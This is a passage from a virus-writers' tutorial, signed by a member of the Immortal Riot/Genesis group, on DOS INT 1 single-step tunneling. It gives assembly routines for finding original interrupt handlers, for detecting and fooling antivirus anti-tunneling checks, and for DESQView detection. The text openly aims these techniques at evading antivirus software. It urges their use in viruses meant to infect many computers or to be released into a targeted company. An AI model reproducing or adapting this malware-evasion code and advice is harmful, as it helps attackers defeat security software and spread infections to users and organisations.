  751.     cmp bx, offset list_end
  752.     je list_error                   ; this is a check to make sure the 
  753.                                     ; list of CS: values doesn't outgrow
  754.                                     ; the space allocated for them
  755.     cmp [cs:bx], ax
  756.     je list_exit                    ; this is if the CS: is already on the 
  757.                                     ; list
  758.     cmp word ptr [cs:bx], 0
  759.     je list_insert                  ; add us to the list if we've reached the
  760.                                     ; end of defined values
  761.     add bx, 2
  762.     jmp list_traverse               ; this moves down to the next item on 
  763.                                     ; the CS: list
  764. list_insert:
  765.     mov [cs:bx], ax                 ; put us on the list
  766.     mov [cs:return_address+2], ax
  767.     mov ax, [bp+2]
  768.     mov [cs:return_address], ax     ; save CS:IP value
  769.     jmp list_exit
  770.  
  771. list_error:
  772.     mov [cs:return_address], 0
  773.     mov [cs:return_address+2], 0    ; set error indicator
  774.  
  775. list_exit:
  776.     pop bx
  777.     pop ax
  778.     pop bp
  779.     iret
  780. list_handler endp
  781. ; End of INT 1 handler using CS:LIST method
  782.  
  783.     ┌──────┐
  784.     │ Pros │
  785.     └──────┘
  786.     The routine is far less susceptable to confusion, and it cannot miss
  787. intersegment jumps like the OPCODE CHECK method.  It will not return a garbage
  788. address when run under an un-hooked interrupt.  
  789.  
  790.     ┌──────┐
  791.     │ Cons │
  792.     └──────┘
  793.     If the last interrupt handler in the interrupt chain does some intersegment
  794. jumps of its own (which although not likely, it is highly possible), you end up
  795. with a garbage original interrupt entrypoint value.  However, if the code you
  796. are tunneling does some internal intersegment jumps of its own, your return
  797. address will once again be screwed just like in the OPCODE CHECK method.  
  798.  
  799.     ┌───────────────────┐
  800.     │ IRET CHECK method │
  801.     └───────────────────┘
  802.     There is yet another way to find our original interrupt handler.  This
  803. method is used in a few viruses hanging around but isn't widely used.  Why not?
  804. Well, it's hard to tell, I guess people just don't know about it.  Also, my
  805. tests have found it to be somewhat unreliable for unknown reasons on my
  806. computer.  
  807.  
  808.     Before we start tunneling, we make sure our iret_status is set to -1. 
  809. Each time we detect a change in the current CS: value, we save the CS:IP. For
  810. each instruction we execute, we check if it is an 'IRET' instruction, and if
  811. so it means we've found the last interrupt in the chain, so we disable
  812. ourselves, keeping the CS:IP we logged before as the original interrupt
  813. entrypoint.  
  814.  
  815. ; Start of INT 1 handler using IRET method
  816. iret_status db -1
  817. iret_handler proc far
  818.     push bp
  819.     mov bp, sp
  820.     push ax
  821.     push ds
  822.     push si
  823.     cmp [cs:iret_status], 0
  824.     je iret_exit
  825.     mov ax, [cs:return_address+2]
  826.     cmp [bp+4], ax
  827.     jne iret_save
  828.     lds si, [bp+2]
  829.     lodsb
  830.     cmp al, 0cfh
  831.     je iret_exit_detected
  832. iret_exit:
  833.     pop si
  834.     pop ds
  835.     pop ax
  836.     pop bp
  837.     iret
  838. iret_save:
  839.     mov ax, [bp+4]
  840.     mov [cs:return_address+2], ax
  841.     mov ax, [bp+2]
  842.     mov [cs:return_address], ax     ; save CS:IP
  843.     jmp iret_exit
  844. iret_exit_detected:
  845.     mov [cs:iret_status], 0
  846.     jmp iret_exit
  847. iret_handler endp
  848. ; End of INT 1 handler using IRET method
  849.  
  850.     ┌──────┐
  851.     │ Pros │
  852.     └──────┘
  853.     Fairly reliable, but should be modified to handle IRET instructions hidden
  854. inside instruction prefixes before you use code like this.  Also, it might be
  855. worthwhile to handle 'RETF 2' as well.  
  856.  
  857.     ┌──────┐
  858.     │ Cons │
  859.     └──────┘
  860.     You have to be carefull what function number you use in case an interrupt
  861. earlier in the chain has hooked that specific function and exits straight away
  862. with a return value without ever chaining back to previous interrupts. 
  863.  
  864. ─────────────────────────────────────────────────────────────────────────────
  865. Section 4:  Anti-Tunneling and Anti-Anti-Tunneling for single step mode
  866. ─────────────────────────────────────────────────────────────────────────────
  867.     As there is matter, there is anti-matter, and as there is tunneling,
  868. there is anti-tunneling, and as there is anti-tunneling, there is
  869. anti-anti-tunneling.  All the techniques presented below apply, for now, only
  870. to single step tunneling.  You can use the anti-tunneling methods in your
  871. viruses to keep AV tunnelers away, but remember that you are subject to the
  872. rules of anti-anti-tunneling too.  
  873.  
  874.     ┌───────────────────────────────┐
  875.     │ Detection with the FLAGS test │
  876.     └───────────────────────────────┘
  877.     The easiest way to check for a single step tunneler is by looking into
  878. the flags register for a set TF.  The routine below will set the CF if a
  879. tunneler is present, and clear the CF if a tunneler is not present.  
  880.  
  881. check_for_tunneler proc near
  882.     clc                             ; set to no tunneler by default
  883.     pushf
  884.     pop ax
  885.     and ah, 1                       ; clear all bits except for TF
  886.     jz no_tunneler                  ; if TF is clear, no tunneler is present
  887.     stc                             ; set CF because tunneler is in memory
  888. no_tunneler:
  889.     ret                             ; return to calling code
  890. check_for_tunneler endp
  891.  
  892.     ┌────────────────────────┐
  893.     │ Fooling the FLAGS test │
  894.     └────────────────────────┘
  895.     In flags testing, whoever is tunneling has the upper hand, as they can
  896. check the currently executing opcode for PUSHF/POPF and modify the results of
  897. these instructions.  For example, to stop someone from seeing the TF set, you
  898. simply check if the last instruction executed was a PUSHF, and if so, you do an
  899. (AND byte ptr [ss:bp+8], 011111110b) which turns off the TF in the copy of the
  900. flags they have on the stack.  Then, to stop someone from disabling single step
  901. mode by PUSHF'ing the flags register back onto the stack, you simply check for
  902. a PUSHF as the current instruction, and if it is there, do an (OR byte ptr
  903. [ss:bp+8], 1), turning the TF back on in the copy of the flags on the stack.  
  904.  
  905.     The problem with chaging the flags on PUSHF in this way is that you may
  906. have just jumped to an address where, just below it, there is a PUSHF that
  907. wasn't executed!  By modifying the stack in this scenario, you could very
  908. well cause a system crash.  Instead of checking if the last instruction was a
  909. PUSHF, you can instead check if the current instruction is a PUSHF and set a
  910. flag in your INT 1 handler.  On each entry to the handler, you can then check
  911. if the PUSHF flag is set, and if so, you clear it and modify the stack as
  912. before.
  913.  
  914.     Finally, even if you have made any flags test totally futile, you must add
  915. in code to make sure YOUR code can disable single step mode with a POPF! You
  916. can do this by simply checking your current CS: against the CS: of the
  917. currently executing instruction, on entry to the interrupt handler, and if
  918. there is a match, simply exit without checking for any opcodes, etc.  
  919.  
  920.     ┌─────────────────────────┐
  921.     │ Confusing OPCODE CHECKs │
  922.     └─────────────────────────┘
  923.     I mentioned earlier on that the OPCODE CHECK method of tunneling was
  924. easily confused by a good anti-tunneling routine.  Although the bit of code
  925. I'll show you won't work against the other single step tunneling methods, it
  926. will work VERY well against the OPCODE CHECK method (which is, like I said,
  927. in wide use).  Since the OPCODE CHECK method copies down the last
  928. intersegment jump as the original interrupt entrypoint, we simply make a few
  929. fake jumps.  
  930.  
  931. Do this in the setup of your code:
  932.         mov [fake_jump_address], offset fake_jump_here
  933.         mov [fake_jump_address+2], cs
  934. And do this to call the proper interrupt routine you're hooked to:
  935.         pushf
  936.         call far ptr [original_interrupt]
  937.                                     ; Executes proper interrupt
  938.         call far ptr [fake_jump_address]
  939.                                     ; Make a fake call, destroying tunnelers
  940.         retf 2                      ; Exit
  941. fake_jump_address:
  942.         retf
  943.  
  944.     ┌────────────────────────────┐
  945.     │ De-confusing OPCODE CHECKs │
  946.     └────────────────────────────┘
  947.     Confusing OPCODE CHECKs can be done in many other ways on top of the one
  948. just described, and as such you shouldn't REALLY be using an OPCODE CHECK
  949. method anyway, since the CS:LIST method is much more stable :>  Anyway,
  950. defending yourself against this specific peice of code needs you to check if
  951. you are doing an intersegment jump to the same code segment.  If so, just
  952. ignore it and don't save the CS:IP value.  Alternatively, if you were really
  953. picky you could modify your handler so as to save the address of a jump/call
  954. ONLY if it is below the last value saved.  
  955.  
  956.     ┌────────────────────────────┐
  957.     │ Removal with code swapping │
  958.     └────────────────────────────┘
  959.     A smart anti-tunneling routine will not rely on the flags to test for
  960. single step handlers.  Instead, a smart anti-tunneling routine ALWAYS starts
  961. off in red alert mode, and only does detective work after trying to disable INT
  962. 1, just in case.  A common way to do this, is shown in the code snippet below: 
  963.         xor ax, ax
  964.         mov ds, ax
  965.         lds si, [4]                 ; DS:SI points to start of INT 1
  966.         les di, [4]                 ; ES:DI       "          "
  967.         mov ah, 0cfh
  968.         lodsb                       ; load first byte into AL
  969.         xchg ah, al
  970.         stosb                       ; store IRET as first byte of INT 1
  971.         ... (flag tests etc go here) ...
  972.         dec di
  973.         xchg ah, al
  974.         stosb                       ; restore original byte of INT 1
  975.  
  976.     By putting an IRET as the first byte of INT 1, the routine of INT 1 is
  977. totally bypassed allowing you to do all the flags tests, etc you want, without
  978. being hampered by anti-anti-tunneling code.  However, in THIS specific example
  979. (there are many many ways of putting an IRET into INT 1) you must not modify
  980. AX, ES or DI, as they're needed when you replace the first byte of INT 1 on
  981. exit from your interrupt handler.  
  982.  
  983.     ┌───────────────────────┐
  984.     │ Fooling code swapping │
  985.     └───────────────────────┘
  986.     In times such as this, things start to get complicated inside our
  987. tunneling routines.  Even though we can check each opcode before it is
  988. executed, it isn't much help in this case as there are so many different ways
  989. of putting a byte into our INT 1 handler.  The only GENERIC way to defeat
  990. this method, is by checking for MOVS's and then seeing if a byte is being
  991. MOVS'd into our code segment, skipping the instruction (by modifying the
  992. return IP pointer in the stack).  However, then you have to begin checking
  993. for STOS instructions too, etc.  This, well, lets just say it could be done
  994. if you really tried hard, but they could use another idea like just
  995. completely installing another INT 1 handler over yours, or putting a byte
  996. into your INT 1 handler in an awkward way. 
  997.  
  998.     ┌───────────────────────────────┐
  999.     │ Detection with the STACK test │
  1000.     └───────────────────────────────┘
  1001.     Finally, we come along to the mother of all anti-tunneling tests, the
  1002. stack test.  This is the test where no single step tunneler ever comes out
  1003. alive, and in a minute you will see why.  And you thought fooling code
  1004. swapping sounded hard!  Have a peek at the code below: 
  1005.         xor ax, ax
  1006.         push ax
  1007.         mov bp, sp
  1008.         pop ax
  1009.         cmp [ss:bp-2], ax
  1010.         je no_tunnel
  1011.         ...
  1012.     
  1013.     In case it isn't clear to you, this is what happens.  Remember when we
  1014. POP values from the stack, the values are normally still there, just 2 bytes
  1015. below the SP (because to POP a value the CPU simply copies the SS:SP value to
  1016. where it is wanted and increments SP by two).  So, under normal CPU
  1017. execution, the values we POP off of the stack are still there, totally
  1018. intact, which is what the above routine checked for.
  1019.  
  1020.     However, when we go into single stepping mode, before every instruction
  1021. is executed, an INT 1 is called, overwriting old stack values with the FLAGS,
  1022. CS, and IP registers!  So after the routine POP's its value back into AX,
  1023. right away the old stack data is corrupted as our INT 1 is called.  
  1024.  
  1025.     This is the bane of all single step tunnelers.  You cannot even begin to
  1026. imagine the complexity of an INT 1 handler that has to check for every one of
  1027. the hundreds of ways of pushing and popping values from the stack. It is just
  1028. way too complex, and coupled with the other tests I've shown you above, your
  1029. once simple tunneling routine has turned into a huge fat bloated sack of
  1030. spaghetti code!  Luckily for you, we're not going to be bothered writing such
  1031. a routine.  I myself, at this point in time, don't even want to THINK about
  1032. writing something so big when later on in our document series we'll have to
  1033. rewrite the entire thing anyway.  
  1034.  
  1035.     ┌───────────────────────┐
  1036.     │ Detection with INT(O) │
  1037.     └───────────────────────┘
  1038.     Here's a sick little test you'll want to check out for!  Remember when I
  1039. told you how the INT instruction works, with clearing the TF?  Well, look at
  1040. this code here :) 
  1041.         xor ax, ax
  1042.         mov ds, ax
  1043.         push [(4*4)]
  1044.         push [(4*4)+2]
  1045.         mov [(4*4)], offset my_handler
  1046.         mov [(4*4)+2], cs
  1047.         pushf
  1048.         pop ax
  1049.         or ax, 0bh
  1050.         push ax
  1051.         popf
  1052.         into
  1053. my_handler:
  1054.         mov bp, sp
  1055.         pop ax
  1056.         pop ax
  1057.         pop ax
  1058.        
  1059.     In this example, at the end of the code (which is 286+ code only mind
  1060. you), AX will hold the REAL flags value, and the TF will be turned off in the
  1061. current flags, no matter how much you fiddle with the flags.  Why?  Well, the
  1062. INTO instruction executes an INT 4 if the flags register has the overflow
  1063. set, which we did by directly modifying the flags.  Before then, we set the
  1064. INTO (INT 4) to ourselves via the IVT, and so, the INTO pushes the flags, CS,
  1065. and IP, onto the stack.  At the point of my_handler, the TF has been cleared
  1066. due to the INT instruction, and the pop ax's end up with the value the flags
  1067. are set to on return, which has the TF set :)  Using this routine or
  1068. something similar (like INT 3 or INT xx) needs you to save the original IVT
  1069. value of the interrupt so you can restore it later, else the computer might
  1070. well crash should a real instance of this interrupt be called.  
  1071.  
  1072.     ┌─────────────────────────────┐
  1073.     │ Avoiding the INT(O) pitfall │
  1074.     └─────────────────────────────┘
  1075.     How do we avoid this?  Simply check for the INT, INTO, and INT 3 opcodes
  1076. in your handler, and if they are present, emulate the interrupt by pushing
  1077. the flags (with TF clear), CS, and IP, onto the stack, and also check for the
  1078. IRET instruction, at which time you make sure the TF is set :)  Make sure you
  1079. code this right, so when you push the flags, CS, and IP onto the stack, there
  1080. is no other information on the stack such as the flags, CS and IP that were
  1081. pushed as INT 1 was executed.  Do this by popping all those values off the
  1082. stack into temporary variables, pushing all your other stuff on, and then
  1083. putting back your INT 1 flags, CS, and IP values, and finally exiting your
  1084. INT 1 handler.  I'm sure you'll work it out.  
  1085.  
  1086.     ┌──────────────────────────┐
  1087.     │ Anti-Anti-Anti Tunneling │
  1088.     └──────────────────────────┘
  1089.     Okay, this is starting to get a bit out of hand, but it's the last thing
  1090. we need to talk about :)  Remember when I mentioned that segment overrides
  1091. were taken as part of the current instruction?  Well, segment overrides
  1092. aren't the only types of instruction prefix available, as there is also REP,
  1093. REPE, and a few others.  Why am I mentioning this?  Well, imagine writing
  1094. your ulta-leet anti-pushf/popf code into one of your interrupt routines, and
  1095. an AV happens to come up with a small anti-tunneling section of code looking
  1096. like this: 
  1097.         pushf
  1098.         cs:popf
  1099.  
  1100.     ARGH!  All your precious hard work flushes down the toilet bowl as your
  1101. interrupt handler doesn't recognize the POPF instruction hiding behind the
  1102. instruction prefix!  You have been disabled by the very code that turns off
  1103. the TF when it see's a PUSHF!  So, now what can you do?  Luckily, the answer
  1104. to this is simple.  Siphon off all the instruction prefixes in a loop before
  1105. you start checking for opcodes.  Simple.    
  1106.  
  1107. ─────────────────────────────────────────────────────────────────────────────
  1108. Section 5:  Is single step mode still usefull?
  1109. ─────────────────────────────────────────────────────────────────────────────
  1110.     By now, you may be wondering why anyone would want to use single mode now
  1111. that there are so many ways to defeat it, and rightly so.  However, you must
  1112. look at the bigger picture of computer users and AV software.  For starters,
  1113. most computers these days use some form of virus protection, ranging from old
  1114. behaviour blockers written in 1989 to the really good AV software which is up
  1115. to date and has behaviour blockers built in.  However, the usage of old
  1116. software, and new software without anti-tunnel capabilities far outweighs the
  1117. current level of AV software used that DOES provide anti-tunneling, and as
  1118. such the choice is clear.  If you are planning for your virus to infect lots
  1119. of computers around the world, then it is much better using some tunneling
  1120. method than none at all, as the pros far outweigh the cons.  However, if
  1121. you're planning for a controlled release into say, a major company, it would
  1122. be best to do a bit of detective work to see if their computers are running
  1123. appropriate AV software before including a single step mode tunneling module
  1124. in your virus.  
  1125.  
  1126. ─────────────────────────────────────────────────────────────────────────────
  1127. Section 6:  Conclusion
  1128. ─────────────────────────────────────────────────────────────────────────────
  1129.     Which single step tunneling method you'll use in your viruses is up to you,
  1130. however the main things that will base your decision upon are: 
  1131.     - the space requirements of your virus with the various tunneling routines
  1132.     - levels of compatability required in your virus
  1133.     - the types of computers you're planning to infect
  1134.     - the individual pros and cons of each routine
  1135.  
  1136.     There is also another thing that needs mentioning, each and every routine I
  1137. have presented to you only returns to you the value it BELIEVES is the original
  1138. interrupt entrypoint.  Of course, all of these tunnelers can get confused and
  1139. return an incorrect value, and using that value in your code without first
  1140. doing some sort of error checking would be disasterous!  However, as yet I do
  1141. now know a failsafe way of doing this.  
  1142.  
  1143.     Also, DESQView (a dos multitasking program) does NOT like programs trying
  1144. to tunnel the interrupts when they are not the only programs running.  This
  1145. is probably because half way through your tunnel DESQView swaps a different
  1146. program into memory to be executed and doesn't properly handle the TF.  So
  1147. suddenly, where your INT 1 handler once was, it is no more and the tunneling
  1148. goes haywire totally crashing the computer.  >sigh<  I guess you're just
  1149. going to have to start adding DESQView aware code: 
  1150.         mov ax, 02b01h
  1151.         mov cx, 'DE'
  1152.         mov dx, 'SQ'
  1153.         int 021h
  1154.         cmp al, -1
  1155.         je no_desqview
  1156.         jmp run_from_desqview           ; This should work with all versions
  1157.                                         ; of DESQView :)
  1158.  
  1159.     To round off this whole document, you should look at the example program
  1160. included.  It is just a quick something I whipped up to demonstrate how to
  1161. put everything you've learnt so far together into a working program.  It's
  1162. not a virus :)  It just tells you what the end result is of each tunneling
  1163. module, so that you can compare performance.  No anti-anti-tunneling code is
  1164. included in it, because I can't be bothered after writing so much, but it is
  1165. DESQView/DOS version aware :)  It can be assembled into a .COM file with A86.  
  1166.  
  1167.     So now you have finally shrugged off your previously innocent disguise as
  1168. amoeba and progressed to the status level of marsupial, which is a BIG step!
  1169. However, there is a long road left to travel in regards to tunneling methods
  1170. before you reach the status level of tunneling god, so I suggest you grab the
  1171. next document in this series.  What's it about?  Well, it's about tunneling
  1172. via code scanning, which is somewhat like the OPCODE CHECK/CS:LIST methods,
  1173. but without using INT 1 and without being able to be detected.  Think about
  1174. the implications of that for a little while :) 
  1175.  
  1176.     Anyway, I hope you enjoyed reading this document as much as I got pissed
  1177. off while writing it and debugging all the little sections of code :)  Yer,
  1178. this one was a real fucker! 
  1179.  
  1180.                                         Methyl [Immortal Riot/Genesis]
  1181.  
  1182.